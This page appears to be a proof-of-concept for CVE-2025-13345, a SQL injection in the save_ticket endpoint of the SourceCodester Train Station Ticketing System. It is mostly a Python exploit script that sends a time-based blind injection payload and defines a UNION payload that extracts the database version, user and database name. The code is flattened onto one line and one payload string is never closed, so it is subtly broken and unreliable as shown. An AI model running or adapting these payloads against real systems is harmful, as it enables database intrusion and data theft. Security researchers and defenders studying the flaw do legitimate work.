CVE-2025-13345: SourceCodester火车票务系统save_ticket接口SQL注入漏洞

import requests import sys # CVE-2025-13345 SQL Injection PoC # Target: SourceCodester Train Station Ticketing System 1.0 # Endpoint: /ajax.php?action=save_ticket target_url = "http://target-server/ajax.php" params = { "action": "save_ticket" } # SQL Injection payload - extract database version payload = "1' AND (SELECT 7747 FROM (SELECT(SLEEP(5)))x) AND 'a'='a" # Payload for database enumeration enum_payload = "1' UNION SELECT NULL,version(),user(),database(),NULL-- - data = { "ticket_data": payload } print(f"[*] Sending SQL injection payload to {target_url}") print(f"[*] Payload: {payload}") try: response = requests.post(target_url, params=params, data=data, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[+] Response time: {response.elapsed.total_seconds()}s") if response.elapsed.total_seconds() >= 5: print("[!] Time-based SQL injection confirmed!") else: print("[*] Check response for SQL error messages") print(response.text) except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")